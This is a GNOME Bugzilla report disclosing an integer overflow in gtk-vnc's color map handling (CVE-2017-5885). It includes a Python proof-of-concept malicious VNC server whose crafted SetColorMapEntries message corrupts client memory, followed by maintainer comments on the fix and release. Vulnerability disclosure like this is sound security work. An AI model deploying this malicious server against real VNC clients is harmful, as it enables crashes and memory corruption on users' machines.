After an evaluation, GNOME has moved from Bugzilla to GitLab. Learn more about GitLab.
No new issues can be reported in GNOME Bugzilla anymore.
To report an issue in a GNOME project, go to GNOME GitLab.
Do not go to GNOME Gitlab for: Bluefish, Doxygen, GnuCash, GStreamer, java-gnome, LDTP, NetworkManager, Tomboy.
Bug 778050 - Integer overflow when processing SetColorMapEntries
Integer overflow when processing SetColorMapEntries
Status: RESOLVED FIXED
Product: gtk-vnc
Classification: Other
Component: general
unspecified
Other Linux
: Normal normal
: ---
Assigned To: gtk-vnc-maint
gtk-vnc-maint
Depends on:
Blocks:
 
 
Reported: 2017-02-01 22:31 UTC by Josef Gajdusek
Modified: 2017-02-14 09:25 UTC
See Also:
GNOME target: ---
GNOME version: ---



Description Josef Gajdusek 2017-02-01 22:31:13 UTC
The vnc_connection_server_message() and vnc_color_map_set() functions do not check for integer overflow properly, leading to a malicious server being able to overwrite parts of the client memory.

The attacker can set the first_color and n_colors variables arbitrarily, forcing uint16 overflow. This further leads to the code writing to a negative array index in the VncColorMap struct.

PoC (crashes tools/gvnccapture):

#! /usr/bin/env python3

import asyncio
import struct
import lzo
import time

class EvilVNCProtocol(asyncio.Protocol):

    def connection_made(self, transport):
        self.transport = transport
        # Note that we just ignore whatever the client says
        self.transport.write(b"RFB 003.008\n")
        # Send supported security types (1 - None)
        self.transport.write(b"\x01\x01")
        # Confirm that authentication succeeded
        self.transport.write(b"\x00\x00\x00\x00")
        # Send ServerInit
        self.transport.write(
            struct.pack(">HHBBBBHHHBBBBBBIB",
                        100, 100, # Framebuffer width and height
                        32, # Bits per pixel
                        8, # Color depth
                        1, # Big endian
                        1, # True Color
                        255, 255, 255, # Color max values
                        0, 8, 16, # Color shifts
                        0, 0, 0, # Padding
                        1, # Name length
                        ord("E") # Name
            )
        )
        # For some reason, not waiting here led to the client occasionally
        # dropping the rest of the input buffer
        time.sleep(0.2)
        # Send evil packets
        self.send_colormap_crash()

    def send_colormap_crash(self):
        self.transport.write(
            struct.pack(">BBHH",
                        1, 0, # message-type and padding
                        65535,
                        65)
        )
        self.transport.write(b"\xab\xcd\xef\x12" * 100)

    def data_received(self, data):
        print(data)


loop = asyncio.get_event_loop()
coro = loop.create_server(EvilVNCProtocol, "0.0.0.0", 5900)
server = loop.run_until_complete(coro)

loop.run_forever()
Comment 1 Daniel P. Berrange 2017-02-02 18:25:24 UTC
Thanks for the bug report & test scenario. I'm working on a fix and adding a test case to validate it.
Comment 2 Daniel P. Berrange 2017-02-06 12:32:43 UTC
This issue has been assigned CVE-2017-5885 http://www.openwall.com/lists/oss-security/2017/02/05/5
Comment 3 Daniel P. Berrange 2017-02-07 14:06:59 UTC
Fix merged in upstream GIT master 

commit c8583fd3783c5b811590fcb7bae4ce6e7344963e
Author: Daniel P. Berrange <berrange@redhat.com>
Date:   Thu Feb 2 18:18:48 2017 +0000

    Correctly validate color map range indexes
    
    The color map index could wrap around to zero causing negative
    array index accesses.
    
    https://bugzilla.gnome.org/show_bug.cgi?id=778050
    
    CVE-2017-5885
    
    Signed-off-by: Daniel P. Berrange <berrange@redhat.com>

leaving bug open until new release is made.
Comment 4 Daniel P. Berrange 2017-02-14 09:25:49 UTC
Fixed in 0.7.0 release